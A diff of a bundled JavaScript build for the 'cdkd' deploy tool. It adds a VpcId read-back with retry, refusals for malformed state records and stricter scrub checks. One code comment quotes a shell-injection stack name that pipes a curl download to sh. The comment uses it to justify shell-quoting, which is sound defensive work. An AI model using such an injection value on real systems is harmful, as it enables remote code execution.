@@ -22914,8 +22924,8 @@ function collectUncomparableCapacityGsiNames(properties, region) {
 			continue;
 		}
 		const explicitProvisioned = asRecord$1(gsi["ProvisionedThroughput"]);
-		const derivedRead = toFiniteNumber(explicitProvisioned?.["ReadCapacityUnits"]) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[0])) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[1]));
-		const derivedWrite = toFiniteNumber(explicitProvisioned?.["WriteCapacityUnits"]) ?? deriveWriteCapacityUnits(asRecord$1(writeBlock));
+		const derivedRead = coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[0])) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[1]));
+		const derivedWrite = coerceCfnInteger(explicitProvisioned?.["WriteCapacityUnits"]) ?? deriveWriteCapacityUnits(asRecord$1(writeBlock));
 		if (derivedRead === void 0 || derivedWrite === void 0) out.add(name);
 	}
 	return out;
@@ -23068,7 +23078,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
 	if (billingMode === "PROVISIONED") {
 		const rawRead = cfn["ReadProvisionedThroughputSettings"];
 		const readCapacity = deriveReadCapacityUnits(asRecord$1(rawRead));
-		if (readCapacity === void 0 && toFiniteNumber(explicitProvisioned?.["ReadCapacityUnits"]) === void 0) reportUnresolvedProvisionedCapacity(rawRead, "Read", "min", { suppressed: "so no ProvisionedThroughputOverride was sent and the replica keeps the source table's read capacity" }, diagnostics, {
+		if (readCapacity === void 0 && coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) === void 0) reportUnresolvedProvisionedCapacity(rawRead, "Read", "min", { suppressed: "so no ProvisionedThroughputOverride was sent and the replica keeps the source table's read capacity" }, diagnostics, {
 			...context,
 			blockName: "ReadProvisionedThroughputSettings"
 		}, maskSecrets);
@@ -23084,7 +23094,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
 		blockName: "ReadOnDemandThroughputSettings",
 		member: "MaxReadRequestUnits"
 	}, maskSecrets);
-	const maxReadRequestUnits = toFiniteNumber(rawMaxRead);
+	const maxReadRequestUnits = coerceCfnInteger(rawMaxRead);
 	const merged = mergeExplicitThroughputBlock(explicitOnDemand, maxReadRequestUnits !== void 0 ? { MaxReadRequestUnits: maxReadRequestUnits } : void 0, ["MaxReadRequestUnits"], diagnostics, {
 		...context,
 		blockName: "OnDemandThroughputOverride"
@@ -23127,11 +23137,11 @@ function collectTableOnDemandCeilings(properties, region, diagnostics, maskSecre
 	return {
 		read: {
 			declared: rawRead !== void 0 || isUnresolvedIntrinsicBlock(readBlock),
-			value: toFiniteNumber(rawRead)
+			value: coerceCfnInteger(rawRead)
 		},
 		write: {
 			declared: rawWrite !== void 0 || isUnresolvedIntrinsicBlock(writeBlock),
-			value: toFiniteNumber(rawWrite)
+			value: coerceCfnInteger(rawWrite)
 		}
 	};
 }
@@ -26555,6 +26565,19 @@ const SG_INGRESS_IP_PROTOCOL_DEFAULT = "-1";
 /** The refusal path both the create guard and the canonicalizer report under. */
 const SG_INGRESS_IP_PROTOCOL_PATH = "AWS::EC2::SecurityGroupIngress IpProtocol";
 /**
+* Bounded eventual-consistency retry for the `DescribeSecurityGroups`
+* read-back (`readSecurityGroupVpcId`, issue #3097): an answer
+* `isNotFoundError` classifies as not-found is retried, everything else omits
+* the attribute at once. Five ATTEMPTS (four retries) a second apart cover the
+* propagation window EC2 documents for its read APIs;
+* `securityGroupReadbackDelays.sleep` is the unit-test seam (the pattern
+* `deleteTableRetryDelays` uses), and the fallback is the provider's own
+* `sleep`, so the class has one timer to fake.
+*/
+const SG_READBACK_NOT_FOUND_ATTEMPTS = 5;
+const SG_READBACK_RETRY_DELAY_MS = 1e3;
+const securityGroupReadbackDelays = {};
+/**
 * Page ceiling for {@link EC2Provider.lookupIngressRuleId}'s
 * `DescribeSecurityGroupRules` walk (issue #1761).
 *
@@ -27808,10 +27831,10 @@ var EC2Provider = class {
 			this.logger.debug(`Successfully created SecurityGroup ${logicalId}: ${groupId}`);
 			return {
 				physicalId: groupId,
-				attributes: {
+				attributes: definedAttributes({
 					GroupId: groupId,
-					VpcId: properties["VpcId"] ?? ""
-				}
+					VpcId: await this.readSecurityGroupVpcId(groupId)
+				})
 			};
 		} catch (error) {
 			const cause = error instanceof Error ? error : void 0;
@@ -27901,10 +27924,10 @@ var EC2Provider = class {
 			return {
 				physicalId,
 				wasReplaced: false,
-				attributes: {
+				attributes: definedAttributes({
 					GroupId: physicalId,
-					VpcId: properties["VpcId"] ?? ""
-				}
+					VpcId: await this.readSecurityGroupVpcId(physicalId)
+				})
 			};
 		} catch (error) {
 			const cause = error instanceof Error ? error : void 0;
@@ -27968,17 +27991,72 @@ var EC2Provider = class {
 			}
 		}));
 	}
-	async getSecurityGroupAttribute(physicalId, attributeName) {
-		if (attributeName === "GroupId") return physicalId;
-		try {
-			const sg = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0];
-			if (!sg) return void 0;
-			if (attributeName === "VpcId") return sg.VpcId;
-			return;
-		} catch {
+	/**
+	* The `VpcId` a security group's `attributes` map records, read back from
+	* `DescribeSecurityGroups` on the group id (issue #3097).
+	*
+	* The two `AWS::EC2::SecurityGroup` result maps used to copy the TEMPLATE's
+	* own `VpcId` property with a `?? ''` fallback — the last two sites issue
+	* #3077 left on that shape. A `CfnSecurityGroup` declared without `VpcId`
+	* lands in the account's default VPC, so the template has nothing to copy
+	* and the record held `''` where CloudFormation answers the default VPC's
+	* id. The read-back answers both shapes the same way: `CreateSecurityGroup`
+	* returns only the group id, and the describe reports `VpcId` for an
+	* explicit VPC and for the default one alike.
+	*
+	* Best-effort by design: the group is already created (or updated) and
+	* wired when this runs, so a failed or empty read must not fail the
+	* resource. It answers `undefined` then, which `definedAttributes` turns
+	* into an ABSENT key — never `''` — and the resolver's
+	* `AWS::EC2::SecurityGroup` `VpcId` arm re-reads it live on the next
+	* `Fn::GetAtt`. The error CLASS (and HTTP status when the SDK attached one)
+	* is what the debug line names at its head; AWS's own text follows it on the
+	* same debug line, since a denied describe quotes the caller's account, role
+	* and session (`.claude/rules/provider-resource-identity.md`).
+	*
+	* EC2's read API is eventually consistent: a `DescribeSecurityGroups` issued
+	* right after `CreateSecurityGroup` can answer `InvalidGroup.NotFound` for a
+	* group the write path already accepted tags and rules for (#3139 review).
+	* An answer `isNotFoundError` classifies as not-found (a substring
+	* predicate — on this API that is `InvalidGroup.NotFound`) is therefore
+	* retried a bounded number of times (`SG_READBACK_NOT_FOUND_ATTEMPTS`,
+	* `SG_READBACK_RETRY_DELAY_MS` apart) before the key is omitted; every
+	* other failure, and an EMPTY answer, omits at once. On the update path a
+	* group deleted out of band takes the same bounded wait and then omits —
+	* its own rule / tag calls MAY already have failed, but an update whose
+	* bags agree issues none, and the rollback replay / `drift --revert` reach
+	* `updateSecurityGroup` too, so this read can be the first call to touch
+	* it. `getSecurityGroupAttribute` (the orphan rewriter's live fetch) shares
+	* the wait. The sleep itself is inside the best-effort boundary: a
+	* rejecting sleep (only a test seam can reject) omits like a failed read.
+	*/
+	async readSecurityGroupVpcId(groupId) {
+		for (let attempt = 1;; attempt++) try {
+			const vpcId = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [groupId] })))?.SecurityGroups?.[0]?.VpcId;
+			if (vpcId === void 0) this.logger.debug(`DescribeSecurityGroups reported no VpcId for SecurityGroup ${groupId}; omitting the attribute`);
+			return vpcId;
+		} catch (error) {
+			const name = error instanceof Error && error.name ? error.name : "Error";
+			const status = error?.$metadata?.httpStatusCode;
+			const errorClass = typeof status === "number" ? `${name}, HTTP ${status}` : name;
+			if (this.isNotFoundError(error) && attempt < 5) {
+				this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} answered not-found (${errorClass}) on attempt ${attempt}/${5}; retrying in ${SG_READBACK_RETRY_DELAY_MS}ms (eventual consistency)`);
+				try {
+					await (securityGroupReadbackDelays.sleep ?? ((ms) => this.sleep(ms)))(SG_READBACK_RETRY_DELAY_MS);
+				} catch {
+					this.logger.debug(`DescribeSecurityGroups retry sleep for SecurityGroup ${groupId} rejected; omitting the VpcId attribute`);
+					return;
+				}
+				continue;
+			}
+			this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} failed (${errorClass}); omitting the VpcId attribute: ${error instanceof Error ? error.message : String(error)}`);
 			return;
 		}
 	}
+	async getSecurityGroupAttribute(physicalId, attributeName) {
+		if (attributeName === "GroupId") return physicalId;
+		if (attributeName === "VpcId") return this.readSecurityGroupVpcId(physicalId);
+	}
 	/**
 	* @param onUnusableProtocol When supplied, a malformed `IpProtocol` WARNS and
 	*   defaults instead of throwing. Passed by `updateSecurityGroupIngress`,
@@ -29671,10 +29749,17 @@ var EC2Provider = class {
 					physicalId,
 					attributes: {}
 				} : null;
-				case "AWS::EC2::SecurityGroup": return (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0] ? {
-					physicalId,
-					attributes: {}
-				} : null;
+				case "AWS::EC2::SecurityGroup": {
+					const group = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0];
+					if (!group) return null;
+					return {
+						physicalId,
+						attributes: definedAttributes({
+							GroupId: physicalId,
+							VpcId: group.VpcId
+						})
+					};
+				}
 				case "AWS::EC2::SecurityGroupIngress": {
 					if (!SG_RULE_ID_PATTERN$1.test(physicalId)) return null;
 					const rule = (await this.ec2Client.send(new DescribeSecurityGroupRulesCommand({ SecurityGroupRuleIds: [physicalId] }))).SecurityGroupRules?.[0];
@@ -63959,8 +64044,9 @@ const UNSUBSTITUTED_SUB_PLACEHOLDER = /\$\{[^}]*\}/;
 *
 * 1. `undefined` — the SAME signal the deploy side keys on. `resolve` returns it
 *    WITHOUT throwing for a constructible-but-unknown attribute
-*    (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`,
-*    `AWS::EC2::SecurityGroup.VpcId`, ...). `JSON.stringify` drops an
+*    (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`, ...;
+*    `AWS::EC2::SecurityGroup.VpcId` left this list in #3097 — it now reads
+*    the group live and REFUSES, which the catch below records). `JSON.stringify` drops an
 *    `undefined`-valued key, so state can never hold one and such an output
 *    would otherwise report a PERMANENT phantom `ADD` printing `new: undefined`.
 * 2. A symbol — `Ref: AWS::NoValue` resolves to a sentinel symbol, which
@@ -65262,6 +65348,145 @@ function isStackNotFoundError(err) {
 	return name === "ValidationError" && /does not exist/i.test(message);
 }
 
+//#endregion
+//#region src/state/malformed-resources-bag.ts
+/** The error code every malformed-record refusal carries, whatever its class. */
+const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
+/**
+* Answer the ONE question both helpers below key on: can this record's
+* resource map be read at all?
+*
+* Widened past `null` / `undefined` because the message says "no readable
+* resources map" and a hand-edited record does not stop at those two: a
+* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
+* empty or, for the string, absurd — repaired silently and warned about
+* nowhere. The predicate is the plain-object test the bag's own type implies.
+*/
+function hasReadableResources(state) {
+	const bag = state.resources;
+	return typeof bag === "object" && bag !== null && !Array.isArray(bag);
+}
+/**
+* The shared explanation, in the terms the reader needs: what is wrong, what
+* to look at, and what NOT to do next.
+*
+* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
+* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
+* `.claude/rules/layout-state-types.md` require of any suggestion a user is
+* meant to paste, for two separate reasons.
+*
+* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
+* printable-ASCII allowlist, so it removes the line- and escape-forgery class
+* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
+* trusted here, since a stack name reaches the cross-stack read path from an
+* `Fn::GetStackOutput` argument or an S3 key. A name spelled
+* `a'; curl http://x|sh; echo '` would close the quoting and append its own
+* command to the line this text tells the user to RUN.
+*
+* Wrapping the command in `'...'` is not enough either, and is what makes the
+* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
+* produces something unpastable. Hence unwrapped and last.
+*
+* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
+* nothing — an empty argument makes `--stack-region` swallow the next flag,
+* turning a remedy into a differently-broken command.
+*/
+function safeIdentifier(value) {
+	const safe = displaySafe(value, { asciiOnly: true });
+	if (!safe) return UNRENDERABLE;
+	const { text, truncated } = truncateCodePoints(safe, 128);
+	return truncated ? `${text}...` : text;
+}
+function malformedStateDetail(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a READ-ONLY command: give the record an empty resource bag so the
+* command can report on it, and say so (issue go-to-k/cdkd#3018).
+*
+* `parseStateBody` deliberately does not validate the inner shape, so a
+* hand-edited or truncated record reaches a command with `resources` absent,
+* `null`, or some other non-object. Every such command then died on a raw
+* `TypeError` from the first `Object.keys` / `in` / index read — the exact
+* wording differs per shape (`Cannot convert undefined or null to object`,
+* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
+* them names a stack, a key or a remedy, from exactly the commands a user
+* reaches for WHEN the state is broken.
+*
+* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
+* the twelve `Object.entries(state.resources)` loops, which was inert: every
+* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
+* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
+* happened one line up and the guards only made it look handled. One call per
+* load dominates the whole flow behind it, including the helpers that take the
+* state as a parameter (`orphan-rewriter`, `diff-calculator`,
+* `collectCcApiRoutes`).
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true`. A silent repair is its own defect — an empty resource set is
+* indistinguishable from a healthy empty stack in every later line of output,
+* so `No changes detected` over an unreadable record is a clean verdict about
+* nothing.
+*
+* **Only for a command that cannot WRITE state.** Anything that can persist
+* uses {@link refuseMalformedState} instead; see its note.
+*/
+function repairMalformedResourcesForReadOnly(state) {
+	if (hasReadableResources(state)) return false;
+	state.resources = {};
+	return true;
+}
+/**
+* The refusal TEXT, for a command whose own exit-code contract means this
+* cannot be a plain `CdkdError`.
+*
+* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
+* plaintext") and every one of its refusals carries `exitCode = 2`, because a
+* CI gate reading the code alone must be able to tell "scrub looked and found
+* a leak" from "scrub refused to look" — the two call for opposite responses.
+* So scrub tests {@link hasReadableResources} and raises its own class around
+* this text rather than calling {@link refuseMalformedState}.
+*
+* The other three refusing commands do NOT share that need, and giving them a
+* single shared code would be wrong in the other direction: `cdkd rollback`
+* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
+* would tell an operator to re-run a command that attempted nothing.
+*/
+function malformedStateRefusalMessage(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
+}
+/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
+function malformedResourcesWarning(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
+}
+/**
+* For a command that can WRITE state: refuse the record by name instead of
+* repairing it.
+*
+* Repairing is actively DANGEROUS here, and the PR that introduced this module
+* shipped that danger for one round before its security review caught it.
+* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
+* change alone satisfies — so a record holding `"resources": null` and a
+* plaintext secret in `outputs` would be scrubbed, and then saved back with a
+* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
+* signal that anything is wrong; laundering it into a legitimate-looking empty
+* one is permanent and silent. The next `cdkd deploy` then reads zero resources
+* and CREATES the whole stack a second time, and the next `cdkd destroy`
+* deletes nothing and orphans every live resource — and the one-shot warning
+* that would have said so is long gone, quite possibly for a different
+* operator. `cdkd import --force` launders it the same way.
+*
+* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
+* this names the stack, the region, the defect and the remedy, and exits on a
+* code rather than on a stack trace.
+*/
+function refuseMalformedState(state, stackName, region) {
+	if (hasReadableResources(state)) return;
+	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+
 //#endregion
 //#region src/cli/commands/diff-recursive.ts
 /**
@@ -65382,7 +65607,10 @@ function indexNestedChildTemplates(template, templatePath) {
 /** Load a stack's cdkd state, or synthesize an empty record (→ all CREATE) when none exists. */
 async function loadStateOrEmpty(stackName, region, stateBackend) {
 	const result = await stateBackend.getState(stackName, region);
-	if (result) return result.state;
+	if (result) {
+		if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
+		return result.state;
+	}
 	return {
 		stackName,
 		region,
@@ -65691,7 +65919,7 @@ async function buildDiffTree(args) {
 			parentHasSecretReference: secretBearingAbove
 		}));
 	}
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
 		if (templateChildIds.has(logicalId)) continue;
 		node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, secretBearingAbove));
@@ -65718,7 +65946,7 @@ async function buildDeletedSubtree(stackName, region, stateBackend, diffCalculat
 		outputChanges,
 		children: []
 	};
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
 		node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, parentHasSecretReference));
 	}
@@ -66208,7 +66436,7 @@ async function diffCommand(stacks, options) {
 		const previewOrphanAdoption = async (state, effectiveTemplate, orphanStackName, orphanRegion) => {
 			const outcome = await planOrphanAdoption({
 				records: state.orphans ?? [],
-				managedLogicalIds: new Set(Object.keys(state.resources)),
+				managedLogicalIds: new Set(Object.keys(state.resources ?? {})),
 				template: effectiveTemplate,
 				stackName: orphanStackName,
 				region: orphanRegion,
@@ -66649,6 +66877,12 @@ async function scrubCommand(stacks, options) {
 	let totalStacksScrubbed = 0;
 	let totalStacksWithUnscrubbableKeys = 0;
 	let totalStacksWithUnverifiableReads = 0;
+	/**
+	* Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
+	* (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
+	* audit this run could not perform is a FINDING, never a clean result.
+	*/
+	const malformedRecords = [];
 	const failures = [];
 	const exportIndexStores = /* @__PURE__ */ new Map();
 	const exportIndexFor = (indexRegion) => {
@@ -66725,6 +66959,7 @@ async function scrubCommand(stacks, options) {
 			totalStacksScrubbed++;
 			logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
 		} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
+		if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
 		if (scrubbed.unverifiableReads > 0) {
 			totalStacksWithUnverifiableReads++;
 			logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
@@ -66755,7 +66990,7 @@ async function scrubCommand(stacks, options) {
 		totalIndexEntriesUnexamined += unexamined.length;
 		logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
 	}
-	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0) {
+	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
 		if (failures.length === 0) {
 			logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
 			return;
@@ -66778,6 +67013,7 @@ async function scrubCommand(stacks, options) {
 		else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 		if (failures.length > 0) throw scrubStacksFailedError(failures);
 		if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
+		if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
 		if (options.fail) throw new ScrubNeededError();
 		return;
 	}
@@ -66785,6 +67021,7 @@ async function scrubCommand(stacks, options) {
 	else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 	if (failures.length > 0) throw scrubStacksFailedError(failures);
 	if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
+	if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
 	if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
 }
 /**
@@ -67375,6 +67612,19 @@ function orderScrubTargets(targets) {
 * through the real backend, so the read-modify-write still sees S3 rather than
 * a cache, and its ETag precondition still means what it says.
 */
+/**
+* The finding a `--dry-run` raises for a record whose resources map it could
+* not read (issue go-to-k/cdkd#3018).
+*
+* `ScrubRefusalError`, so it carries scrub's exit **2**: `1` means "--fail
+* looked and found a leak -- rotate the secret", and this is the opposite
+* remedy ("repair the record and re-run"). Without it the run exits 0, or 1
+* under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
+* also swallow this text.
+*/
+function malformedRecordsAuditedError(stackNames) {
+	return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
+}
 function memoizeCrossStackStateReads(backend) {
 	const view = Object.create(backend);
 	let listed;
@@ -67982,6 +68232,80 @@ function isRegionAmbiguousRefusal(err) {
 	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
 }
 /**
+* The marker the resolver's NAMELESS-dynamic-reference throw carries
+* (`Dynamic reference: <service> PARAMETER_NAME is required`).
+*
+* Pinned against the resolver's own literal by
+* `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
+* consumer of a string the resolver owns: a reword there would otherwise make
+* the predicate below silently stop matching and restore the very silence it
+* exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
+* cdkd's OWN output must fail loudly when the format drifts").
+*/
+const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
+/**
+* The prefix a matching message must ALSO carry. Without it the bare tails
+* above are reachable from an unrelated throw: `resolveParameters` raises
+* `Parameter ${name} is required but no value was provided`, so a template
+* parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
+* best-effort miss into a whole-stack refusal.
+*/
+const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
+/**
+* A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
+* the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
+* with no parameter name, or `{{resolve:secretsmanager}}` /
+* `{{resolve:secretsmanager:}}` with no secret id.
+*
+* The resolver raises a bare `Error` for both, so they fall through the
+* typed-refusal test above into the `debug` below and `cdkd scrub` reports the
+* run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
+* in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
+* every remaining `{{resolve:...}}` token in the leaf. A real
+* `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
+* needle — and a legacy plaintext already in `state.json` then survives under
+* `No plaintext secrets found`, exit 0.
+*
+* BOTH spellings are matched, and the second is the DOMINANT one. The first
+* cut matched `PARAMETER_NAME is required` alone, leaving the more common way
+* to write a secret silent — and the fence certified that as deliberate by
+* asserting the marker occurred exactly once in the resolver, which passed
+* precisely BECAUSE the other throw spells it differently.
+*
+* WHY THE SET STOPS AT "is required", having once been widened to the whole
+* `Dynamic reference:` family and reverted. The loop's missing per-token `try`
+* means four SIBLING failures — a deleted SSM parameter, a secret with no
+* `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
+* exactly the same way, so on the surface they belong here. They do not,
+* because scrub resolves with template DEFAULTS and takes no `--parameters`:
+* an `Fn::Sub` that warn-and-KEEPS its raw `${Field}` produces a JSON_KEY miss
+* on a perfectly healthy stack, so refusing on that class refuses ordinary
+* stacks (measured — it reddened
+* `tests/unit/cli/commands/scrub-cross-region-secret.test.ts`). A nameless
+* reference is far narrower: an UNBOUND variable keeps its literal `${...}`
+* rather than vanishing, so ordinary missing-parameter resolution cannot
+* produce one.
+*
+* That is narrower, NOT universal, and the difference is stated rather than
+* glossed: a parameter DECLARED with `Default: ''` binds the empty string
+* verbatim (`isUnboundTemplateParameter` returns false once `Default` is
+* present), so `{{resolve:ssm-secure:${P}}}` assembles to
+* `{{resolve:ssm-secure:}}` and refuses here — while the same stack deploys
+* fine under `--parameters P=/real/name`. The failure is fail-CLOSED (a
+* refusal, never a silent clean run) and the shape is a rare one, so it is
+* accepted rather than worked around; go-to-k/cdkd#3160 carries it alongside
+* the sibling class, which needs a countable unverifiable-leaf finding rather
+* than a refusal.
+*
+* It is a loudness REGRESSION rather than a new gap: before go-to-k/cdkd#2689
+* fixed `ssmParameterName`, this input produced a bogus `secretName` and
+* therefore an `ambiguous` verdict, whose typed error scrub already re-raises.
+* The old, wrong-in-substance refusal was backstopping this one.
+*/
+function isNamelessDynamicReferenceFailure(err) {
+	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
+}
+/**
 * A secrets map with its OWN identity whose entries ARE `target`'s (issue
 * #2531): every read and write goes to `target`; nothing is stored here.
 *
@@ -68425,6 +68749,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			};
 		}
 		const state = loaded.state;
+		let malformedResources;
+		if (opts.dryRun) {
+			if (repairMalformedResourcesForReadOnly(state)) {
+				malformedResources = true;
+				logger.warn(malformedResourcesWarning(stack.stackName, region));
+			}
+		} else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
 		const perResourceTemplateProps = /* @__PURE__ */ new Map();
 		const outputsTemplateSource = {};
 		const resolvers = new ScrubResolvers(region);
@@ -68469,7 +68800,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 		const collisions = [];
 		let outputsSourceUntrusted = false;
 		await withSharedDrainBudget(async () => {
-			for (const logicalId of Object.keys(state.resources)) {
+			for (const logicalId of Object.keys(state.resources ?? {})) {
 				const templateResource = templateResources[logicalId];
 				if (!templateResource?.Properties) continue;
 				const recordedSecretValues = /* @__PURE__ */ new Map();
@@ -68486,7 +68817,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(resolveInput, resourceContext);
 				} catch (err) {
-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
 				}
 				perResourceTemplateProps.set(logicalId, templateResource.Properties);
@@ -68508,7 +68839,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
 				} catch (err) {
-					if (isRegionAmbiguousRefusal(err)) throw err;
+					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
 				}
 			}
@@ -68531,7 +68862,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 					try {
 						exportName = await resolver.resolve(nameSource, nameContext);
 					} catch (err) {
-						if (isRegionAmbiguousRefusal(err)) throw err;
+						if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 						nameFailed = true;
 						nameError = err;
 					}
@@ -68569,7 +68900,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				try {
 					await resolver.resolve(valueSource, valueContext);
 				} catch (err) {
